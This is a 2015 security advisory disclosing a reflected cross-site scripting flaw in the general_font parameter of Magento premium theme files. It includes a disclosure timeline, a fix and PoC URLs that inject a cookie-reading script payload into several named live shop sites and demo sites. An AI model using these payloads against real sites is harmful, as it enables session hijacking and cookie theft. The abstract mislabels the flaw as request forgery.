eBay Magento Cross Site Scripting

`Document Title:  
===============  
Ebay Magento Bug Bounty #17 - Client Side Cross Site Scripting Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1473  
  
EIBBP-31541  
  
  
Release Date:  
=============  
2015-06-15  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1473  
  
  
Common Vulnerability Scoring System:  
====================================  
3  
  
  
Product & Service Introduction:  
===============================  
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed   
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned   
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model   
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.  
  
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting   
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability   
inside our system, please tell us right away.  
  
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-02-20: Researcher Notification & Coordination (Hadji Samir)  
2015-02-21: Vendor Notification (Magento Team - Bug Bounty Program)  
2015-03-10: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program)  
2015-05-12: Vendor Fix/Patch (Magento Developer Team)  
2015-06-15: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Ebay Inc.  
Product: Magento - Premium Themes 2015 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A client-side cross site scripting web vulnerability has been discovered in the official Magento Commerce Premium Theme front-end web-application.  
The non-persistent xss vulnerability allows remote attackers to inject own script code to the application-side of the vulnerable online-service module.  
  
The vulnerability is located in the `general_front` values of the `/css/theme.less.php` front-end template file. Remote attackers are able to inject own   
script codes to client-side application requests. The attack vector is non persistent and the request method to inject/execute is GET. The vulnerable   
source is located in the magento premium theme and the stable release.  
  
The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0.   
Exploitation of the cross site scripting web vulnerability requires no privileged web application user account and no user interaction.   
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and   
non-persistent manipulation of affected or connected service modules.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] css/less  
  
Vulnerable File(s):  
[+] theme.less.php  
  
Vulnerable Parameter(s):  
[+] general_front  
  
  
Proof of Concept (PoC):  
=======================  
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction(click).  
For security demonstration or to reproduce the security vulnerability follow the provided infomation and steps below to continue.  
  
Vulnerable Source(s):  
http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.php?%40variables_url=%22http%3A%2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fdefault%2Fem0121%2Fcss%2Fless%2Ftheme.less%22&%40function_url=%22http%3A%2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fdefault%2Fem0121%2Fcss%2Fless%2Ffunctions.less%22&%40screen-large-desktop=1200px&%40screen-desktop=992px&%40screen-tablet=768px&%40desktop=%7E%22%28max-width%3A+767px%29%22&%40tablet=%7E%22only+screen+and+%28min-width%3A+720px%29+and+%28max-width%3A+959px%29%22&%40page_bg_color=%23ffffff&%40page_bg_position=%7E%220+0%22&%40page_bg_repeat=repeat&%40box_shadow=%7E%220+0+5px+0+%23c4c4c3%22&%40rounded_corner=0&%40general_font=%7E%22normal+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h1_font=%7E%22normal+22px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h2_font=%7E%22normal+20px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h3_font=%7E%22normal+18px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h4_font=%7E%22normal+16px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h5_font=%7E%22normal+14px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h6_font=%7E%22normal+12px%2F1.35+Raleway%2Chelvetica%2Carial%2Csans-serif%22&%40header_bg_color=%23ffffff&%40header_bg2_color=%23a4d0d9&%40header_bg3_color=%23ffffff&%40header_bg4_color=%23eff7f8&%40header_bg5_color=%23a4d0d9&%40header_bg_position=%7E%220+0%22&%40header_bg_repeat=repeat&%40header_text_color=%23999999&%40header_text2_color=%23686868&%40header_text4_color=%23ffffff&%40header_text5_color=%23000000&%40header_line_color=%23eaeaea&%40topmenu_text_color=%23999999&%40topmenu_hover_text_color=%23686868&%40topmenu_line_color=%23a4d0d9&%40topmenu_font=%7E%22500+15px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40dropmenu_bg_color=%23ffffff&%40dropmenu_text_color=%23666666&%40dropmenu_text2_color=%23a4d0d9&%40dropmenu_line_color=%23d3d3d3&%40dropmenu_font=%7E%22normal+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40body_bg_color=%23ffffff&%40body_bg2_color=%23ffffff&%40body_bg3_color=%23ffffff&%40body_bg4_color=%23abd4dc&%40body_bg6_color=%23f6f6f6&%40body_bg_position=%7E%220+0%22&%40body_bg_repeat=repeat&%40body_text_color=%23ffffff&%40body_text2_color=%23666666&%40body_text3_color=%23686868&%40body_text4_color=%23999999&%40body_text5_color=%23abd4dc&%40body_text6_color=%23ff8401&%40body_line_color=%23d1d1d1&%40body_line2_color=%23eaeaea&%40body_line3_color=%23abd4dc&%40title_font=%7E%22500+15px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40footer_bg_color=%23ffffff&%40footer_bg2_color=%23a4d0d9&%40footer_bg3_color=%23999999&%40footer_bg4_color=%23f2f2f2&%40footer_bg_position=%7E%220+0%22&%40footer_bg_repeat=repeat&%40footer_text_color=%23666666&%40footer_text2_color=%23000000&%40footer_text3_color=%23a4d0d9&%40footer_text4_color=%23999999&%40footer_text5_color=%23ffffff&%40footer_line_color=%23d9d9d9&%40btn1_bg_color=%23a4d0d9&%40btn1_text_color=%23ffffff&%40btn1_line_color=%23a4d0d9&%40btn1_font=%7E%22500+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40btn2_bg_color=%23686868&%40btn2_text_color=%23ffffff&%40btn2_line_color=%23686868&%40btn2_font=%7E%22500+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40image_bg_url=%7E%22http%3A%2F%2Fwww.gutzzi.com%2F%22&%40page_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40header_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40body_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40footer_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22"   
  
PoC(s):  
http://www.ediwear.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
http://saadelectronics.com/skin/frontend/default/galatitanshop/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
http://saadeperfumes.com/skin/frontend/default/galatitanshop/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
www.diamantiegemme.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=<script>alert(document.cookie)</script>  
http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28%27samir%27%29%3C/script%3E  
http://www.emthemes.com/premium-magento-themes.html  
http://www.emthemes.com/demo/#em0116  
http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
http://demo.emthemes.com/megamart/skin/frontend/default/em0119/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
http://demo.emthemes.com/markpro/skin/frontend/default/em0089/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
http://www.emthemes.com/premium-magento-themes.html  
http://demo.emthemes.com/superstore/skin/frontend/default/em0096/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
http://demo.emthemes.com/gala-shopmore/skin/frontend/default/galashopmore/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
  
Solution - Fix & Patch:  
=======================  
Restrict the input of the general_font value by disallowing the usage of special chars.   
Encode and parse the vulnerable file parameters to prevent client-side script code injection attacks.  
  
  
Security Risk:  
==============  
The security risk of the client-side cross site scripting web vulnerability in the frontend is estimated as medium. (CVSS 3.0)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Hadji Samir [[email protected]]  
  
  
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=========================  
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